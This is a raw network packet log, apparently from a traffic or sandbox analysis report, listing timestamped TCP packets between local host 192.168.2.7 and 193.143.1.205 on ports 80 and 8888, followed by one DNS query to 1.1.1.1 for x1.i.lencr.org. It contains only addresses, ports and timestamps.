Jan 10, 2025 18:42:53.965691090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965703011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965703011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965713978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.965723038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965739012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965773106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.965923071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966013908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966025114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966037989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966048956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966059923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966061115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966073990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966094971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966095924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966427088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966439009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966449976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966459990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966485977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966516018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966687918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966700077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966711044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966732979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966742992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966743946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966761112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966764927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966772079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966783047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966794968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966804981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966804981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966804981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966818094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966830015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.966834068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.966859102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.967403889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.967415094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.967427969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.967458963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.967489958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969211102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969232082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969280958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969290018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969379902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969393015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969428062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969527006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969538927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969552040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969566107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969588041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969616890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969660044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969670057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969692945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969717979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969749928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.969778061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969789982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.969836950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.970946074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.970957994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.970971107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971019030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.971098900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971111059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971121073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971133947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971151114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.971182108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.971247911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971259117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971271992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971297979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.971359968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:53.971417904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971429110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971440077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:53.971473932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.022085905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.028361082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033145905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033174992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033185959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033232927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033320904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033332109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033343077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033377886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033407927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033507109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033518076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033528090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033539057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033549070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033557892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033560038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033581018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033613920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033808947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033819914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033835888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033845901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033855915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033862114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033862114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033866882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033874989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033880949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033888102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.033916950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.033947945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.034279108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.034291029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.034301043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.034372091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.059830904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.064661980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064688921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064702034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064745903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.064780951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.064881086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064897060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064908981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064924955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.064939976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.064973116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065162897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065176010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065187931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065195084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065207958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065221071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065222025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065236092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065268993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065269947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065562010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065573931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065586090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065597057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065624952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065655947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065834999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065845966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065857887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065872908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065881014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065885067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065900087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065936089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.065949917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065962076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065974951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.065989971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066000938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066013098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066021919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066026926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066039085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066040993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066050053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066068888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066088915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066915989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066931009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066941977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066955090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066967010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066973925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066977978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066987038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.066999912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.066999912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067013979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067018986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067025900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067035913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067039967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067059040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067065001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067070007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067082882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067090988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067138910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067843914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067857981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067867994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067879915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067890882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067903996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067905903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067915916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067928076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067929983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067939997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067951918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067962885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067975998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.067976952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.067987919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068000078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068007946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068007946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068012953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068041086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068063021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068691015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068703890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068715096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068736076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068747997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068758965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068761110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068769932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068782091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068783998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068798065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068809032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068815947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068820953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068833113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068841934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068845987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068857908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.068862915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068888903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.068923950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.069602013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069614887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069626093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069638968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069648981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069660902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069672108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.069673061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069685936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.069690943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.069708109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.069735050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.089483023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089515924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089529991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089592934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.089684963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089698076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089709997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089723110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089744091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.089772940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.089854002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089904070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.089946985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.089958906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090008020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.090094090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090106010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090121031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090133905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090148926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.090178967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.090234995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090245962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.090301991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.115446091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115457058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115516901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.115550995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115578890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115591049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115632057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.115726948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115740061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115758896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115772009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.115844965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.115982056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116029024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116080046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116092920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116103888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116116047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116151094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116182089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116360903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116370916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116380930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116393089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116405010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116416931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116425991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116431952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116446018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.116446018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116466045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.116491079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149019003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149045944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149059057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149152040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149205923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149205923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149238110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149250984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149292946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149431944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149444103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149455070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149467945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.149482012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149528027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.149610043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.193407059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.253767967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.286889076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.475369930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.981630087 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.986473083 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:54.986567020 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.986721039 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:54.991534948 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:55.788965940 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 18:42:55.834644079 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 18:42:56.108715057 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:43:03.495348930 CET	61304	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:43:03.495348930 CET	192.168.2.7	1.1.1.1	0x11b7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
